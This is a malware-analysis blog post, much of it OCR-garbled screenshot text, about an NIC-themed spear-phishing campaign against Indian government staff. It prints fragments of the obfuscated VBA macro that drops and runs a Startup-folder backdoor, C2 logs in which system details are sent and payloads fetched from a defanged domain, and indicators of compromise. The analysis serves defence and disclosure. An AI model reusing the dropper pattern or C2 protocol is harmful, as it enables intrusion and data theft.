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MALWARE ACTORS USING NIC CYBER SECURITY THEMED
SPEAR PHISHING TO TARGET INDIAN GOVERNMENT
ORGANIZATIONS

This blog post describes an attack campaign where NIC (National Informatics Centre) Cyber Security themed
spear phishing email was used to possibly target Indian government organizations. In order to infect the victims,
the attackers distributed spear-phishing email, which purports to have been sent from NIC's Incident response
team, the attackers spoofed an email id that is associated with Indian Ministry of Defence to send out email to the
victims. Attackers also used the name of the top NIC official in the signature of the email, this is to make it look like

the email was sent by a high ranking Government official working at NIC (National Informatics Centre).
Overview of the Malicious Email

The attackers spoofed an email id that associated with Indian Ministry of Defence to send out emails to the
victims. The email was made to look like it was sent from NIC's Incident response team instructing the recipients
to read the attached documents and to implement the cyber security plan and the signature of the email included

the name of the top ranking NIC official. The email contained two attachments, a PDF document and a malicious
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word document (NIC-Cyber Security SOP.doc). The pdf document was a legitimate document which attackers
might have downloaded from (http://meity.gov.in/sites/upload_files/dit/files/Plan_Report_on_Cyber_Security.pdf).
The word document attached in the email contained malicious macro code which when enabled, drops a malware
backdoor, executes it and then sends the system information to the command and control server (C2 Server) and

its also downloads additional components.

From the email (and the attachments shown in the below screenshot) it looks like the goal of the attackers was to
infect and take control of the systems of Cyber Security officers who are responsible for managing and

implementing security controls on the Government network.

Cyber Security Instruction for Strict Compliance - Inbox - Mozilla Thunderbird - o=

# Inbox Cyber Security In— =
& Get Messages - E'Write @ Chat 2 Address Book % Tag~ o =
7 Mational Informatics Centre Cyber Defence fincident Responce Team {EEMEEENGnic.in> # Reply | = Forward | @ Archive | & Junk | @ Delete | More~
cct Cyber Security Instruction for Strict Compliance Saturday 15 October 2016 07:50 PM

Dear Sir / Madam

Attached are overall cyber security Plan and specific instructions for computers/laptop users. Forwarding for strict Compliance and implementation at all level.
This email may be disseminated to all concerned only through NICWeb mail and no commercial emails be used, please.

—] <~—

indid.govin

yber Defence [/incident Responce Team
National Informatics Centre

4
@2 attachments 24 ME s # Save All -
Plan_Report_on_Cyber_Security.pdf 280 KE B NIC-Cyber Security SOP.doc

The email header consisted of ORCPT (Original-Recipient) header, which had reference to what appears to be a

mailer list associated with Indian Ministry of External Affairs, this indicates that the attackers probably wanted to
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infect the users connected with Indian Ministry of External Affairs either to spy or to take control of their systems.

Received: from . L.nic.in ([

by (¥ gy

(built Mar 31 2015)) with ESMTP id < 2 B .nic.in> for
S '.nic.in (ORCPT l@mea.gov.in); Sat,

15 Oct 2016 19:50:16 +0530 (IST)
: Plan_Report_on_Cyber Security.pdf, NIC-Cyber Security SOP.doc
: 286712, 4312576
X-ft: document/pdf, document/doc

Analysis of Word Document Containing Malicious Macro Code

Once the victim opens the attached word document it prompts the user to enable macro as shown below and the

document also contains instruction on how to enable the macros.

w ¥ NIC-Cyber_Security SOP.doc [Compatibility Mode] - Microsoft Ward 5
P o CA N A ® S ## AT papbeede Assbcede AaBbC AaBbCc AaBbC AaBbCel AcsbceDe AaBbCeDa '
Paste ¥ B I |- -aex x* o dk = - - TMNormal | Mo Spacing  Heading 1 adiryg 2 Title Subtitle  SubtleEmp_.  Emphasis | _ Change
=

1) Security Warning Macros have been disabled. | Enable Content

\

THIS DOCUMENT CONTAINS DATA FROM MICROSOFT EXCEL SHEET.
PLEASE ENABLE CONTENTS IN THE YELLOW BAR ABOVE, BY CLICKING ON
“ENABLED CONTENTS" BUTTON. PROCEDURE DESCRIBED AS UNDER.

Microsoft Office 2013
To display the contents of the document click on Enable Content bitton, — eff—"

B I U -ax x -A-

| SECURITY WARMING Macros have been disabled

Microsoft Office 2010

-
ument click on Enable Content button, <l

To display the contents of ¢

e o romotiuinter | B L U e x, X L
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If the victim enables the macro content, the malicious code drops the malware sample and exectutes it and it also
shows a decoy document containing the instructions and guidelines related to cyber security. This is to make the
user believe that is it indeed a document related to cyber security. Below are some of the screen shots showing

the document that will shown to the user once the macro is enabled.

wido- v MIC-Cyber_Security SOP.doc [Compatibility Mode] - Microsoft Word = [@

m Home | Insert  Page layout  References  Mailings

Bockman Old 5 - 12 - A" A7 | Aa-

CeDo AcBbCeDo |

- B I U~ x x* 2 - J

# Format e - i1 - Thormal |TMoSpacng Hesdingl  Heading 2 Tithe Subtitle
Format Paliar . g

Emphasis

PART I : DESKTOP SECURITY

Security

1. Hardware Management

la] Inventory Management. Cvber Security officers, Network Secunty
officers and System Administrators at all levels will maintain inventory of
IT Hardware and devices.
(b}  Accounting of IT Assets. Loghook for each IT asset will be
maintained separately by each user. These loghooks will be produced at
the time of routine or surprise audits.
[c) Disposal System logs, print outs, used printer ribbons, damaged
CD/DVD, tapes and hard disks should be disposed off in a secure
manner. Records of the same will be maintained for each squipment by
respective user.
(d) Backup and storage:, Backup of data and system setting will be
taken periodically backup media should be stored in a secure waterproof
container and fire proof safe,

2. Authentication and access control.

Password or passphrase based authentication and access control
will be implemented on all systems

lal A atrong and effective password requires complexity. Passwords ¥

Wd»n-0|- NIC-Cyber_Security SOP.doc [Compatibility Mode] - Microsoft Ward

BockmanOld5 +12 - A" A7 | Aa- & ©

#i# 2 T aapbeede asebeene AaBbC AaBbCc AaBb( AaBbCcl AsBbCeDe AoBbCeDa

R A g TNarmal | TMoSpacing Headingl  Heading 2 Title Subtitle  Subtle Emp_.  Emphasis

Paste e = B I U= x, 7 - A~

Format Paintes

PART Il - ARMY INTRANET SECURITY
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The malicious macro code was reverse engineered to understand its capabilities. The macro code is heavily

obfuscated (uses obscure variable/function names to make analysis harder) as shown below.

Project - Project X! | [iGeneral) =] |[Declarations) >

mE G

I~ Private Sub Document_Open()

7 & Normal Dim XsWmnLncUwbSkaMnXkgU1 As String
# Project (NIC-Cyber_Se
s Microsoft Word Dbject Dim HnXwJsNsWKMO As String B T EE—
#) ThisDocument HnXwJsNsWKMO0 = XmJwUnxAO0()

References
N XsWmnLncUwbSkaMnXkgU1 = XsWmnLncUwbSkaMnXkgU1 + HnXwJsNsWkMO

Dim HnXwJsNsWkM1 As String

HnXwJsNsWKkM1 = XmJwUnxAO1()

XsWmnLncUwbSkaMnXkgU1 = XsWmnLncUwbSkaMnXkgU1 + HnXwJsNsWkM1
] L} b Dim HnXwJsNsWKkM2 As String

Properties - ThisDocument X | HnXwJsNsWKM2 = XmJwUnxAO02()

ThisDocumes Document = XsWmnLncUwbSkaMnXkgU1 = XsWmnLncUwbSkaMnXkgU1 + HnXwJsNsWkM2
Alphabetic | Categarized Dim HnXwJsNsWKkM3 As String

tamel____ ThisCooumer HnXwJsNSWKM3 = XmJwUnxAO3()

tutnyphenailg XsWmnLncUwbSkaMnXkgU1 = XsWmnLncUwbSkaMnXkgU1 + HnXwJsNsWkM3
e i Dim HnXwJsNsWkM4 As String

DefaultTargett HnXwJsNsWkM4 = XmJwUnxAO04()

otestisfoatursflse XsWmnLncUwbSkaMnXkgU1 = XsWmnLncUwbSkaMnXkgU1 + HnXwJsNsWkM4
fmbeduinguis True Dim HnXwJsNsWKM5 As String

e o HnXwJsNsWKM5 = XmJwUnxAO5()

nforceste False XsWmnLncUwbSkaMnXkgU1 = XsWmnLncUwbSkaMnXkgU1 + HnXwJsNsWkM5
e Dim HnXwJsNsWkM6 As String

il False HnXwJsNsWKM6 = XmJwUnxAO6()

e s XsWmnLncUwbSkaMnXkgU1 = XsWmnLncUwbSkaMnXkgU1 + HnXwJsNsWkM6
FormattingshFalse Dim HnXwJsNsWKM7 As String

AL LU HnXwJsNsWKM7 = XmJwUnxAO7()

The macro code first calls multiple functions to decode the executable content and then it drops the malicious
executable (WINWORD.exe) in the Startup directory and then executes the dropped file as shown in the below

screen shots.
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oject - Project %|| [Document = ~| [open -]
@ E G - If ActiveDocument.ReadOnly = False Then -
e .
veDocument.Save
# Project (NIC-Cyber_Security_SOP)
5 Micrasoft Word Objects End If
F":J_e:_'e"r‘ii‘“'"?"‘ Dim NxUwsHsbXwkNxYal, OsHeL, XksStuP
Set OsHel = CreateObject("WScript.Shell”)
XksStuP = OsHel.SpecialFolders("Startup")
NxUwsHsbXwkNxYal = decodeBase64(XsWmnLncUwbSkaMnXkgU1)
Dim NwdBwUbdSwqKuBX
NwdBwUbdSwqKuBX = XksStuP & "WINWORD.exe" <&
erties - ThisDocument x| Call writeBytes(NwdBwUbdSwqKuBX, NxUwsHsbXwkNxYal)
ThisDecument Doument -
Alphabetic | categorized Dim dSwnSqkXn
ThisDocument || =
e ¢ dSwnSgkXn = Shell(NwdBwUbdSwqKuBX, 0)
False Rd End Sub
0 =
DiefaultTabStop 36 | =
DafaultTargetFrame =
DisableFeatures False Ja 4] | 3]
DoMatEmbedSystemFonts True Watches x|
True 7
- Folse s MwiEwUBESwKUEX op TosCRIA MenuPrograms Sarmup WINWORD axe” T ment Document_C
EncryptionProvides T Tt E ThisDocument Document_C
EnforceStyle False |68 fel Vasiard/C This! urmant_C
FarEast] ineBreaklanguage |b\ KhaSuP b sAdminsratonAppDataiReamingMicrosoftiindows Stan MenuProgramsiStanup™ Vananys Thes ent_C
» Computer » Local Disk {C:) » Users » Administrator » AppData » Roaming ¢ Microsoft » Windows » Start Menu » Programs b Startup — fe— |4
Indlude in library * Share with = Burn Mew folder 7]
Favorites Nat Jate mod

M Desktop

s Downloads

0 WINWORD.exe
=k Recent Places
Libraries

% Documents

. Music
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5 Refresh {7 Options _-fj Find handles or DLLs 7 System information | | x Search Proces: i+ o
Processes | Senioes | Network | Disk I

O WINWORD.exe (3916) Properties = | ot
Name General | Statistics  Parformance | Threads | Token | Modules | Memory | Environment | Handles | GPU | Disk and Network | Comment i
42 TPAutoConnSvc.exe } TEM
& TPAutoConnect.exe Fis B dministr
#"dllhost.exe %l (UNVERIFIED) MICROSOFT TEM
;-., msdtc_exe Verslon: 3.0.87.1056 / WORK s
bl I2:‘:“".?195::I:'.:::\:\.Isrram".NJp:)ata'.Romrirn".'«llclosc.‘t'.\-'.' indaws'\Start Menu\Programs| Startup\WINWORD.exe oAbk
= Searchindexer.exe = ' TEM
i'svchost.exe e TEM
" OSPPSVC.EXE Command line *C:\Users\Administratori AppL licrosoftWindows\Start Menu'\Programs\Startup|\WINWORD. WORK S
i |lsass.exe Current directory:  C:\Users\Administrator\ Docurnents) TEM
* Ism.exe Started: 8 seconds ago (11:58:20 PM 11/13/2016) TEM
| -0 CSrss.exe PEB address: OxPFidc000 TEM
& conhost.exe Parent WINWORD EXE (2596) ) dministr
@ conhost.exe Mitigation policles:  None Details dministr
| & WinIOQOH'exe Protection: None | Permissions Terminate TEM
+ ' explorer.exe e dministr
i vmtoolsd.exe dministr
i Zoomlit.exe dministr
& cmd.exe dministr.
# regedit.exe dministr
W dministr
| 2/ WINWORD.exe I dministr
= ProcessHacker.exe Lo dministr. _

4 m b

Once the dropped file is executed by macro code it connects to the command and control server(c2 server) and
to conceal the data sent by the malware, it communicates on port 443 (https) as shown below. The network traffic

pattern will be discussed in detail later.

Ble Edt \Miew Go Lapture Anabze Statistis Telephony Teok [nternals Help

=l e & s & w i PEE AR S ?

L L R o TP Dasiion pruiecal. e, S— 4/ y

20.005804 4,2.2.2 192.168.1.60 DNS Standard query response A 192.168.1.22

30.006757 192.168.1.60 192.168.1.22 Tcp 49190 > 443 [SYN] Seq=0 Win=8192 Len=0 MS55=1460 SA!
40.006774 192.168.1.22 192.168.1.60 Tcp 443 > 49190 [SYN, ACK] Seq=0 Ack=1 Win=14600 Len=0
50.006903 192.168.1.60 192.168.1.22 TCP 49190 > 443 [ACK] Seq=1 Ack=1 Win=64240 Len=0
60.013861 192,168.1.60 192.168.1.22 SSLv2 Client Hello

70.013899 192.168.1.22 192.168.1.60 TCP 443 > 49190 [ACK] Seq=1 Ack=70 Win=14600 Len=0
80.014043 192.168.1.22 192.168.1.60 TLSv1l Server Hello, Certificate, Server Hello Done
90.014380 192,168.1.60 192.168.1.22 TLSv1 Client Key Exchange, Change Cipher Spec, Encrypted
100.017190 192.168.1.22 192.168.1.60 TLSvl Change Cipher Spec, Encrypted Handshake Message

Analysis of the Dropped Executable (WINWORD.exe)
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The dropped file was analyzed in an isolated environment (without actually allowing it to connect to the c2 server).

This section contains the behavioral analysis of the dropped executable (WINWORD.exe).

The malware when executed creates additional files on the file system, It downloads these files by contacting the
C2 server and saves it on the disk. Since the malware was not allowed to contact the C2 server its not clear about
the functionality of these files. The below screen shots show WINWORD.exe creating an exectuable, VB script and

VBE files. The malware uses WScript.exe to execute the VB scripts.

2:04:27 ,File,CreateFile, WINWORD.exe, 3932, %LocalAppData%\Temp\WindowsUpdates\MS015-0012.exe

2:04:34,File,CreateFile, WINWORD.exe,3932,%LocalAppData%\Temp\WindowsUpdates\MS015-0012.vbs
2:04:34,Process,CreateProcess ,WINWORD.exe, 3932, %WinDir%\System32\WScript.exe %Temp%
WindowsUpdates\MS015-0012.vbs, 2664

2:04:44,File,CreateFile, WINWORD.exe, 3932, %LocalAppData%\Temp\WindowsUpdates\MS015-0012.vbe
2:04:44 ,Process,CreateProcess ,WINWORD.exe,3932,%WinDir%\System32\WScript.exe %Temp%
WindowsUpdates\MS015-0012.vbe,3676

As mentioned above, malware once executed makes an https connection to the C2 server as shown below.

Ble Edt \iew Go Capturs gnabze Statistics Telaphony Teoks [rtemals Hel

=) &l s & %« § ¥ EE QA af §g0M 7

Mo. Tme Source Dastination Protacal Infa /

20.005804 Rz 2o 1192.168.1.60 DNS Standard query response A 192.168.1.22

30.006757 192,168.1.60 192.168.1.22 TCP 49190 > 443 [SYN] Seq=0 Win=8192 Len=0 MS55=1460 SAI
40.006774 192.168.1.22 192.168.1.60 Tcp 443 > 49190 [SYN, ACK] Seq=0 Ack=1 Win=14600 Len=0
50.006903 192.168.1.60 192.168.1.22 TCP 49190 > 443 [ACK] Seq=1 Ack=1 Win=64240 Len=0
60.013861 192,168.1.60 192.168.1.22 SSLv2 Client Hello

70.013899 192.168.1.22 192.168.1.60 TCP 443 > 49190 [ACK] Seq=1 Ack=70 Win=14600 Len=0
80.014043 192.168.1.22 192.168.1.60 TLSvl Server Hello, Certificate, Server Hello Done
90.014380 192,168.1.60 192.168.1.22 TLSv1 Client Key Exchange, Change Cipher Spec, Encrypted
100.017190 192.168.1.22 192.168.1.60 TLSv1 Change Cipher Spec, Encrypted Handshake Message

C2 Communication Pattern
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Upon execution malware makes an https connection to the url hxxps://webmail[.]Jduia[.Jin/webmail.php. The https

connection was intercepted and different network communications were determined.

In the first communication it collects and sends the system information of the infected system to the attacker in
the user-agent field. The user-agent field contains information about the computer name, username and if the
AntiVirus software is installed or not. The malware sends some information in the post data as well, the post data
gives the information about the action that malware will perform. In the below screen shot notice the system
information sent in the user-agent field and also from the post data it can be deduced that the malware

downloads an exe file.

[2016-11-14 12:04:27] [192.168.1.60:49166] recv: POST /webmail.php HTTP/1.1

[2016-11-14 12:04:27] [192.168.1.60:49166] recv: Connection: Keep-Alive

[2016-11-14 12:04:27] [192.168.1.60:49166] recv: Content-Type: application/x-www-form-
urlencoded; Charset=UTF-8

[2016-11-14 12:04:27] [192.168.1.60:49166] recv: Accepnt: */*

[2016-11-14 12:04:27] [192.168.1.60:49166] recv: User-Agent: (RF) : <exe> :(PC-Name: WIN-
TOUN4HIIHEC : Username: Administrator ; AV: NoAV)

12016-11-14 12:04:27)] [192.168.1.60:49166] recv: Content-Length: 80

[2016-11-14 12:04:27] [192.168.1.60:49166] recv: Host: webmail.duia.in

[2016-11-14 12:04:27] [192.168.1.60:49166] recv: <(POSTDATA)>

[2016-11-14 12:04:27] [192.168.1.60:49166] info: POST data stored to: /usr/share/inetsim/
data/http/postdata/6bale7ed0791cl96aacl67563c26b9f6f92ale7f

POSTDATA: action=getfiles&username=000C290F9F67 -WIN-TOUN4AHIIHEC-Administrator&filename=exe

Malware uses similar network communication pattern to download additional files (vbs, vbe, cmd, sc, ext, a3x etc).
Once downloaded these files are saved in either “%LocalAppData%\Temp\WindowsUpdates” folder or in
“%Temp%\WindowsUpdates” folder. During analysis it was determined that the malware used these filenames
(MS015-0012.exe, MS015-0012.vbs, MS015-0012.vbe etc.) to reside in these directories. Below screen shots shows

some of the network communication made by the malware to download files.
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2016-11-14 12:04:33] [192.168.1.60:49168] recv: POST /webmail.php HTTP/1.1

[2016-11-14 12:04:33] [192.168.1.60:49168] recv: Connection: Keep-Alive

[2016-11-14 12:04:33] [192.168.1.60:49168] recv: Content-Type: application/x-www-form-
urlencoded; Charset=UTF-8

[2016-11-14 12:04:33] [192.168.1.60:49168] recv: Accept: */*

[2016-11-14 12:04:33] [192.168.1.60:49168]1 recv: User-Agent: (RF) : <vbs> :(PC-Name: WIN-
T9UN4HIIHEC : Username: Administrator ; AV: NoAV)

12016-11-14 12:04:33] 1192.168.1.60:49168] recv: Content-Length: 80

[2016-11-14 12:04:33] [192.168.1.60:49168] recv: Host: webmail.duia.in

[2016-11-14 12:04:33] [192.168.1.60:49168] recv: <(POSTDATA)>

[2016-11-14 12:04:33] [192.168.1.60:49168] info: POST data stored to: /usr/share/inetsim/
data/http/postdata/84add6742070f7c479f2f36d701e91c8af234ae3

POSTDATA: action=getfiles&username=000C290F9F67-WIN-T9UN4HIIHEC-Administrator&filename=vbs

[2016-11-14 12:04:43] [192.168.1.60:49170] recv: POST /webmail.php HTTP/1.1

[2016-11-14 12:04:43] [192.168.1.60:49170] recv: Connection: Keep-Alive

[2016-11-14 12:04:43] [192.168.1.60:49170] recv: Content-Type: application/x-www-form-
urlencoded; Charset=UTF-8

[2016-11-14 12:04:43] [192.168.1.60:49170] recv: Accept: */*

[2016-11-14 12:04:43] [192.168.1.60:49170] recv: User-Agent: (RF) : <vbe> :(PC-Name: WIN-
TOUN4AHIIHEC : Username: Administrator ; AV: NoAV)

[2016-11-14 12:04:43] [192.168.1.60:49170] recv: Content-Length: 80

[2016-11-14 12:04:43] [192.168.1.60:49170] recv: Host: webmail.duia.in

[2016-11-14 12:04:43] [192.168.1.60:49170] recv: <(POSTDATA)>

[2016-11-14 12:04:43] [192.168.1.60:49170] info: POST data stored to: /usr/share/inetsim/
data/http/postdata/c4b3cdl663afcdfcd36dd3dd322eel85cdf5dc9a

POSTDATA: action=getfiles&username=000C290F9F67-WIN-T9UN4HIIHEC-Administrator§filename=vhe

C2 Domain Information

This section contains details of the C2 domain (webmail[.]Jduia[.]in). Attackers used the DynamicDNS hostname
(duia is a Dynamic DNS provider) to host the C2 server, this allows the attacker to quickly change the IP address in
real time if the malware C2 server infrastructure is unavailable. The C2 domain currently resolves to an IP address
shown below and the same domain was associated with another IP address previously. Both the IP addresses are

associated with hosting providers as shown in the screen shot below
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ebmail.duia.in:
95.23.26.28

ebmail.duia.in:
185.100.86.174

200651 RO 185.100.86.0/24 FLOKINET , RO
12715 ES 95.23.0.0/16 JAZZNET Global Spanish ISP, ES
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®

webmail duia.in

95.23.26.28 185.100.86.174

7 kR

ASM-12715 ASMN-200651

b —4
4 A

— FLOKIMET , RO
JAZZMNET Global Spanish ISP, ES

Indicators Of Compromise
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The indicators are provided below, so that they can be used by the organizations (Government, Public and

Private organizations) to detect and investigate this attack campaign.

Dropped Malware Sample:
4dc28faeb77550174b936d9ba97d4679 (WINWORD.exe)

Network Indicators Associated with C2:
webmaill.]Jduial.]in
hxxps://webmail[.]duial.Jin/webmail.php
95[.]23[.]26[.]28

185[.]100[.]86[.]174

Host Indicators:
Filenames in the “%Temp%\WindowsUpdates” folder: MS015-0012.exe, MS015-0012.vbs, MS015-0012.vbe
Filename WINWORD.exe in the Startup directory

Conclusion

Attackers in this case made every attempt to launch a clever attack campaign by spoofing email address of
Ministry of Defence, they also tried to trick the users to believe the email was sent from NIC's incident response
team. To make the attack less suspicious they also used a legitimate PDF document in the attachment and used
the name of the top NIC offical in the email signature. The attackers also hosted the C2 server in a Dynamic DNS
provider network. We believe that such attacker groups are likely working to gain long-term access into Indian
Government networks. With India rapidly moving towards digitization and cashless transactions we believe that

more such cyber attacks will continue to target Government, Defence, NGOs and financial institutions.
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We have already reported this attack campaign and shared the associated indicators with the Indian CERT and

NIC's Incident response team.

Follow us on Twitter: @monnappa22 @cysinfo22
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6 COMMENTS

Hi MONNAPPA , nice post. Need a clarification in this regard. duia.in[duia.CC code ] is a DYNDNS facility. How a sub

domain is attributed with the email id [liviu[.]pislaru@gmail[.]Jcom] as the attacker?
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Jayesh Patel

Excellent Research and Very Informative.

Srini

Good one... Very neatly and nice explained in this article.. Kudos to you for your commendable malware analysis
techniques and for the publish of this article =

divyanshu
Awesome Research .. It shows how vulnerable the machinery is and creates a demand for a very good cyber

security awareness campaign!!

regards,
Divyanshu
ateesh rajak
nyc writeup =

Ramit

If the malware identifies AV running in the host machine is there any change in its behaviour and communication

to C&C? As most of the end points in any private or govt. organisation is likely to run AV(hopefully)!
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